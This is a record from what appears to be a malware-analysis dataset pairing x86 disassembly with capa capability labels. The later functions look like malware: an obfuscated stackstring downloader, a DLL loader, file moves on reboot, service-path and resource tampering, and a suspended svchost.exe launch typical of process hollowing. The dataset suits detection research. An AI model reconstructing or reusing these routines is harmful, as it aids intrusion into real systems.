joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10084e60
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0xbc]
test ecx, ecx
je 0x10084fdd
mov eax, dword [edi + 0xb0]
test eax, eax
je 0x10084fdd
cmp dword [eax], 0
jne 0x10084fdd
call fcn.10084ab0
test al, al
jne 0x10084fdd
mov ecx, dword [edi + 0xb0]
call fcn.10084ab0
test al, al
jne 0x10084fdd
mov ecx, dword [edi + 0xb8]
test ecx, ecx
je 0x10084edf
cmp dword [ecx], 0
jne 0x10084edf
call fcn.10084ab0
test al, al
jne 0x10084edf
push dword [edi + 0xb8]
call sub.msvcrt.dll_free
push dword [edi + 0xbc]
call fcn.10084cc0
add esp, 8
mov ecx, dword [edi + 0xb4]
test ecx, ecx
je 0x10084fc4
cmp dword [ecx], 0
jne 0x10084fc4
call fcn.10084ab0
test al, al
jne 0x10084fc4
push dword [edi + 0xb4]
call sub.msvcrt.dll_free
mov esi, dword [edi + 0xbc]
add esp, 4
test esi, esi
je 0x10084fc4
mov ecx, dword [esi]
test ecx, ecx
je 0x10084f38
call fcn.10084ab0
test al, al
jne 0x10084f38
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x10084f53
call fcn.10084ab0
test al, al
jne 0x10084f53
push dword [esi + 4]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x10084f6e
call fcn.10084ab0
test al, al
jne 0x10084f6e
push dword [esi + 8]
call sub.msvcrt.dll_free
add esp, 4
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60001
jb 0x10084fc4
mov ecx, dword [esi + 0x30]
test ecx, ecx
je 0x10084fa9
call fcn.10084ab0
test al, al
jne 0x10084fa9
push dword [esi + 0x30]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x34]
test ecx, ecx
je 0x10084fc4
call fcn.10084ab0
test al, al
jne 0x10084fc4
push dword [esi + 0x34]
call sub.msvcrt.dll_free
add esp, 4
push dword [edi + 0xb0]
call sub.msvcrt.dll_free
push dword [edi + 0xbc]
call sub.msvcrt.dll_free
add esp, 8
mov ecx, dword [edi + 0xc0]
test ecx, ecx
je 0x10085043
cmp dword [ecx], 0
jne 0x10085043
call fcn.10084ab0
test al, al
jne 0x10085043
mov eax, dword [edi + 0xc4]
sub eax, 0xfe
push eax
call sub.msvcrt.dll_free
mov eax, dword [edi + 0xcc]
add esp, 4
sub eax, 0x80
je 0x1008501f
push eax
call sub.msvcrt.dll_free
add esp, 4
mov eax, dword [edi + 0xd0]
sub eax, 0x80
je 0x10085035
push eax
call sub.msvcrt.dll_free
add esp, 4
push dword [edi + 0xc0]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [edi + 0xd4]
test ecx, ecx
je 0x10085078
cmp dword [ecx + 0xb4], 0
jne 0x10085078
call fcn.10084ab0
test al, al
jne 0x10085078
push dword [edi + 0xd4]
call fcn.10084b10
push dword [edi + 0xd4]
call sub.msvcrt.dll_free
add esp, 8
lea esi, [edi + 0x48]
lea ebx, [edi + 0xa8]
cmp esi, ebx
je 0x100850bc
mov ecx, dword [esi]
test ecx, ecx
je 0x10085090
call fcn.10084ab0
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x100850b5
call fcn.10084ab0
test al, al
jne 0x100850b5
mov eax, dword [esi + 0xc]
test eax, eax
je 0x100850b5
cmp dword [eax], 0
jne 0x100850b5
push eax
call sub.msvcrt.dll_free
add esp, 4
add esi, 0x10
cmp esi, ebx
jne 0x10085085
push edi
call sub.msvcrt.dll_free
add esp, 4
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10085180
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50c
mov eax, dword [0x100d3080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1018a31c]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x508], ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
test eax, eax
jne 0x100851ce
push str._create_locale
call fcn.10086fc0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x508]
test eax, eax
jne 0x100851c9
or eax, 0xffffffff
mov dword [0x1018a31c], eax
lea edi, [eax + 1]
neg edi
sbb edi, edi
and edi, eax
je 0x100852ee
test esi, esi
je 0x1008520f
push 0x2d
push esi
call sub.msvcrt.dll_strchr
add esp, 8
test eax, eax
je 0x1008520f
xor ecx, ecx
mov al, byte [esi + ecx]
lea edx, [ecx + ecx]
test al, al
je 0x1008522c
cbw
inc ecx
mov word [ebp + edx - 0x204], ax
cmp ecx, 0x100
jne 0x100851f2
push esi
push dword [ebp - 0x508]
call edi
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007afb7
mov esp, ebp
pop ebp
ret
cmp edx, 0x200
jae 0x100853b7
xor eax, eax
mov word [ebp + edx - 0x204], ax
lea eax, [ebp - 0x204]
push 0x2d
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
test eax, eax
je 0x1008520f
mov ebx, dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
lea eax, [ebp - 0x504]
push 0xff
push eax
push 0x1001
lea eax, [ebp - 0x204]
push eax
call ebx
test eax, eax
je 0x1008520f
lea edx, [ebp - 0x504]
mov ecx, 0x5f
lea edx, [edx + eax*2]
mov word [edx - 2], cx
mov ecx, 0x100
sub ecx, eax
lea eax, [ebp - 0x204]
push ecx
push edx
push 0x1002
push eax
call ebx
test eax, eax
je 0x1008520f
lea ebx, [ebp - 0x504]
xor eax, eax
jmp 0x100852c0
movzx ecx, word [ebx + eax*2]
lea edx, [ebp - 0x304]
test cx, cx
je 0x100852df
mov byte [edx + eax], cl
inc eax
cmp eax, 0x100
jne 0x100852c0
jmp 0x1008520f
mov byte [edx + eax], 0
lea esi, [ebp - 0x304]
jmp 0x1008520f
cmp ecx, 5
ja 0x10085397
test esi, esi
je 0x10085397
call fcn.10085520
mov edi, eax
test edi, edi
je 0x100853a2
call fcn.1007bac0
mov ebx, eax
push esi
push dword [ebp - 0x508]
mov eax, dword [ebx + 0x70]
mov dword [ebp - 0x50c], eax
or eax, 2
mov dword [ebx + 0x70], eax
call fcn.10085630
add esp, 8
test eax, eax
je 0x10085352
mov eax, dword [ebx + 0x6c]
push dword [eax + 4]
call sub.msvcrt.dll__setmbcp
add esp, 4
test eax, eax
jne 0x10085352
call fcn.10085520
mov esi, eax
jmp 0x10085354
xor esi, esi
mov eax, dword [ebp - 0x50c]
mov ecx, dword [ebx + 0x6c]
mov dword [ebx + 0x70], eax
mov eax, dword [edi]
cmp eax, ecx
je 0x1008536b
mov dword [edi], ecx
mov dword [ebx + 0x6c], eax
mov eax, dword [edi + 4]
mov ecx, dword [ebx + 0x68]
cmp eax, ecx
je 0x1008537b
mov dword [edi + 4], ecx
mov dword [ebx + 0x68], eax
push edi
call fcn.100853c0
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007afb7
mov esp, ebp
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
mov ecx, dword [ebp - 4]
xor esi, esi
pop edi
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.1007afb7
mov esp, ebp
pop ebp
ret
call fcn.1007b89c
int3
Function at 0x10085630
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
mov eax, dword [0x100d3080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x1008572b
push 0x2d
push esi
call sub.msvcrt.dll_strchr
add esp, 8
test eax, eax
je 0x1008572b
xor ecx, ecx
mov al, byte [ecx + esi]
lea edx, [ecx + ecx]
test al, al
je 0x1008568a
cbw
inc ecx
mov word [ebp + edx - 0x204], ax
cmp ecx, 0x100
jne 0x10085668
jmp 0x1008572b
cmp edx, 0x200
jae 0x10085791
xor eax, eax
mov word [ebp + edx - 0x204], ax
lea eax, [ebp - 0x204]
push 0x2d
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
test eax, eax
je 0x1008572b
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
lea eax, [ebp - 0x504]
push 0xff
push eax
push 0x1001
lea eax, [ebp - 0x204]
push eax
call edi
test eax, eax
je 0x1008572a
lea edx, [ebp - 0x504]
mov ecx, 0x5f
lea edx, [edx + eax*2]
mov word [edx - 2], cx
mov ecx, 0x100
sub ecx, eax
lea eax, [ebp - 0x204]
push ecx
push edx
push 0x1002
push eax
call edi
test eax, eax
je 0x1008572a
lea edi, [ebp - 0x504]
xor eax, eax
nop
movzx ecx, word [edi + eax*2]
lea edx, [ebp - 0x304]
test cx, cx
je 0x10085773
mov byte [edx + eax], cl
inc eax
cmp eax, 0x100
jne 0x10085710
pop edi
mov eax, dword [0x1018a324]
test eax, eax
jne 0x10085751
push str.setlocale
call fcn.10086fc0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1008574c
or eax, 0xffffffff
mov dword [0x1018a324], eax
lea ecx, [eax + 1]
neg ecx
sbb ecx, ecx
and ecx, eax
je 0x1008577f
push esi
push ebx
call ecx
add esp, 8
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007afb7
mov esp, ebp
pop ebp
ret
mov byte [edx + eax], 0
lea esi, [ebp - 0x304]
jmp 0x1008572a
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.1007afb7
mov esp, ebp
pop ebp
ret
call fcn.1007b89c
int3
Function at 0x10085e10
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call sym.steam_api.dll_SteamAPI_ISteamController_GetControllerState
mov esi, dword [ebp + 8]
test al, al
je 0x10085e2e
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.10085e40
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401000
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push 0
push 0
push eax
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 8

Function at 0x401320
Capabilities:
Contain obfuscated stackstrings
Read data from internet
Receive data

Disassembly:
sub esp, 0x20
mov ecx, dword [esp + 0x2c]
push ebx
push esi
mov edx, ecx
push edi
mov edi, dword [esp + 0x34]
xor eax, eax
mov bl, 0x6e
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov byte [esp + 0x10], 0x77
and ecx, 3
mov byte [esp + 0x12], bl
rep stosb byte es:[edi], al
mov al, 0x69
mov byte [esp + 0x14], bl
mov byte [esp + 0x11], al
mov byte [esp + 0x13], al
mov al, 0x6c
mov byte [esp + 0x15], 0x65
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], al
lea eax, [esp + 0x10]
mov byte [esp + 0x16], 0x74
push eax
mov byte [esp + 0x1b], 0x2e
mov byte [esp + 0x1c], 0x64
mov byte [esp + 0x1f], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA_1]
mov esi, eax
test esi, esi
je 0x40147d
lea ecx, [esp + 0x1c]
push ebp
push ecx
push esi
mov byte [esp + 0x28], 0x49
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x65
mov byte [esp + 0x2c], 0x72
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x4f
mov byte [esp + 0x31], 0x70
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], 0x41
mov byte [esp + 0x35], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress_1]
push 0
push 0
push 0
push 0
push str.baidu
call eax
mov ebp, eax
test ebp, ebp
je 0x40144c
mov edx, dword [esp + 0x34]
push 0
push 0x4000000
push 0
push 0
push edx
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x401445
mov ecx, dword [esp + 0x3c]
mov edi, dword [esp + 0x38]
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, edx
mov edx, dword [esp + 0x38]
lea eax, [esp + 0x10]
dec ecx
push eax
push ecx
push edx
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [esp + 0x38]
push 0x4083c0
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
pop ebp
je 0x401474
pop edi
pop esi
mov eax, str.DOWNFAIL
pop ebx
add esp, 0x20
ret
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x20
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x20
ret
Function at 0x4017d0
Capabilities:
Delete file

Disassembly:
sub esp, 0x104
lea eax, [esp]
push ebx
push esi
push 0x20
push str.hra_u.dll
push eax
xor ebx, ebx
call dword [0x408dcc]
add esp, 0xc
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA_1]
mov esi, eax
test esi, esi
je 0x40184f
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress_1]
push str.StartWork
push esi
call edi
push str.StopWork
push esi
mov dword [0x409290], eax
call edi
test eax, eax
mov dword [0x409294], eax
pop edi
je 0x40183d
mov eax, dword [0x409290]
test eax, eax
je 0x40183d
pop esi
mov eax, 1
pop ebx
add esp, 0x104
ret
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, ebx
pop esi
pop ebx
add esp, 0x104
ret

Function at 0x4021f0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
inc dl
test esi, esi
jbe 0x40221c
mov eax, dword [esp + 8]
mov cl, byte [eax]
sub cl, dl
xor cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x402210
pop esi
ret

Function at 0x402220
Capabilities:
Contain obfuscated stackstrings
Get common file path
Move file

Disassembly:
sub esp, 0x21c
mov al, 0x65
push esi
mov byte [esp + 5], al
mov byte [esp + 0xc], al
mov byte [esp + 0x10], al
mov byte [esp + 0x14], al
lea eax, [esp + 4]
push edi
mov cl, 0x6c
push eax
push str.kernel32.dll
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x12], 0x74
mov byte [esp + 0x13], 0x4d
mov byte [esp + 0x14], 0x6f
mov byte [esp + 0x15], 0x64
mov byte [esp + 0x16], 0x75
mov byte [esp + 0x17], cl
mov byte [esp + 0x19], 0x46
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], cl
mov byte [esp + 0x1d], 0x4e
mov byte [esp + 0x1e], 0x61
mov byte [esp + 0x1f], 0x6d
mov byte [esp + 0x21], 0x41
mov byte [esp + 0x22], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA_1]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress_1]
mov edx, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x20]
push ecx
push 0
stosb byte es:[edi], al
call edx
lea edx, [esp + 0x120]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x120]
push str.SOFTWARE.LOG
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [esp + 0x120]
push 3
lea edx, [esp + 0x20]
push ecx
push edx
call esi
test eax, eax
je 0x402310
push 5
lea eax, [esp + 0x124]
push 0
push eax
call esi
pop edi
pop esi
add esp, 0x21c
ret
Function at 0x402400
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
sub esp, 0x110
lea eax, [esp + 0xc]
push ebx
push esi
push edi
push str.SYSTEMCurrentControlSetServices_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x18]
push str.Distribulfs
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push 0xf003f
push 0
push eax
push 0x80000002
call dword [0x408d98]
test eax, eax
je 0x402455
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x20]
push str.ImagePath
push eax
call dword [0x408d94]
test eax, eax
je 0x4024a1
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x408d90]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0x10]
push edx
call dword [0x408d90]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4024c8
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push 0
push 3
push 0
push 1
lea ecx, [esp + 0x2c]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4024f5
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [esp + 0xc], eax
jne 0x402519
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x40253b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 0xc]
push 0
push edx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40256d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x120]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov esi, eax
test esi, esi
jne 0x40259d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
mov edx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push edx
push ebx
push 0
push 0x66
push 0xa
push esi
call ebp
mov edi, eax
test edi, edi
je 0x4025d6
push str.Distribulfs
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push str.Distribulfs
push 0
push 0x65
push 0xa
push esi
call ebp
mov edi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
pop ebp
test eax, eax
push ebx
jne 0x4025f7
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x110
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x110
ret
Function at 0x403550
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str.Program_FilesInternet_Exploreriexplore.exe
push ecx
mov byte [esp + 0xa], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [esp + 0x108]
lea edx, [esp]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, 1
add esp, 0x104
ret

Function at 0x405430
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x138
push esi
mov esi, dword [esp + 0x140]
push edi
push 2
push 0
push esi
call sub.MSVCRT.dll_fseek
push esi
call sub.MSVCRT.dll_ftell
push 0
push 0
push esi
mov edi, eax
call sub.MSVCRT.dll_fseek
add esp, 0x1c
cmp edi, 0x40
jae 0x40546e
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push esi
push 1
lea eax, [esp + 0x28]
push 0x40
push eax
call sub.MSVCRT.dll_fread
add esp, 0x10
cmp word [esp + 0x20], 0x5a4d
je 0x405494
pop edi
xor al, al
pop esi
add esp, 0x138
ret
mov eax, dword [esp + 0x5c]
lea ecx, [eax + 0x18]
cmp edi, ecx
jae 0x4054aa
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push 0
push eax
push esi
call sub.MSVCRT.dll_fseek
push esi
push 1
lea edx, [esp + 0x1c]
push 0x18
push edx
call sub.MSVCRT.dll_fread
add esp, 0x1c
cmp word [esp + 0x1c], 0xe0
je 0x4054d9
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push ebx
push esi
push 1
lea eax, [esp + 0x6c]
push 0xe0
push eax
call sub.MSVCRT.dll_fread
mov eax, dword [esp + 0x22]
and eax, 0xffff
lea ecx, [eax + eax*4]
shl ecx, 3
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
mov eax, dword [esp + 0x26]
and eax, 0xffff
push esi
push 1
lea edx, [eax + eax*4]
shl edx, 3
push edx
push ebx
call sub.MSVCRT.dll_fread
mov edi, dword [esp + 0x170]
mov ecx, 0x10
lea esi, [esp + 0x48]
mov eax, dword [esp + 0x17c]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x174]
mov ecx, 6
lea esi, [esp + 0x30]
add esp, 0x24
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x154]
mov ecx, 0x38
lea esi, [esp + 0x64]
rep movsd dword es:[edi], dword [esi]
mov dword [eax], ebx
pop ebx
pop edi
mov al, 1
pop esi
add esp, 0x138
ret
Function at 0x405600
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push 0
push 0
push ebp
call sub.MSVCRT.dll_fseek
mov ecx, dword [esp + 0x28]
mov ebx, dword [esp + 0x2c]
xor eax, eax
add esp, 0xc
mov ax, word [ecx + 6]
mov esi, dword [ebx + 0x3c]
test eax, eax
jle 0x40563f
mov edx, dword [esp + 0x24]
add edx, 0x14
mov ecx, dword [edx]
cmp ecx, esi
jae 0x405639
mov esi, ecx
add edx, 0x28
dec eax
jne 0x405631
mov edi, dword [esp + 0x28]
push ebp
push esi
push 1
push edi
call sub.MSVCRT.dll_fread
add esp, 0x10
cmp eax, esi
je 0x40565b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
mov eax, dword [ebx + 0x20]
mov ecx, dword [ebx + 0x3c]
push eax
push ecx
call fcn.004055e0
mov edx, dword [esp + 0x24]
mov ebx, eax
add esp, 8
add ebx, edi
cmp word [edx + 6], 0
mov dword [esp + 0x14], 0
jbe 0x4056f3
mov eax, dword [esp + 0x24]
lea edi, [eax + 8]
mov esi, dword [edi + 8]
mov eax, dword [edi]
test esi, esi
jbe 0x4056c2
cmp esi, eax
jbe 0x405698
mov esi, eax
mov ecx, dword [edi + 0xc]
push 0
push ecx
push ebp
call sub.MSVCRT.dll_fseek
push ebp
push esi
push 1
push ebx
call sub.MSVCRT.dll_fread
add esp, 0x1c
cmp eax, esi
jne 0x405654
mov edx, dword [esp + 0x20]
mov ecx, dword [edi]
mov eax, dword [edx + 0x20]
push eax
push ecx
jmp 0x4056cf
test eax, eax
je 0x4056d9
mov edx, dword [esp + 0x20]
mov ecx, dword [edx + 0x20]
push ecx
push eax
call fcn.004055e0
add esp, 8
add ebx, eax
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
xor edx, edx
inc eax
mov dx, word [ecx + 6]
add edi, 0x28
cmp eax, edx
mov dword [esp + 0x14], eax
jl 0x405689
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret

Function at 0x405780
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x60
push edi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x20], 0
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x68]
lea eax, [esp + 0x20]
push edi
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push str.svchost.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40584b
push ebx
push ebp
push esi
mov esi, dword [esp + 0x78]
push esi
mov dword [esi], 0x10007
mov ecx, dword [edi + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [esi + 0xa4]
mov ebp, dword [esp + 0x7c]
mov ecx, dword [edi]
lea edx, [esp + 0x74]
push edx
push 4
add eax, 8
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebp]
mov eax, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
lea edx, [esp + 0x10]
push 0x1c
push edx
push esi
push eax
call ebx
test eax, eax
je 0x405836
cmp dword [esp + 0x20], 0x10000
je 0x405836
mov ecx, dword [esp + 0x1c]
mov edx, dword [edi]
add esi, ecx
lea ecx, [esp + 0x10]
push 0x1c
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x405815
mov eax, dword [ebp]
sub esi, eax
mov eax, 1
mov dword [ebp + 4], esi
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x60
ret
xor eax, eax
pop edi
add esp, 0x60
ret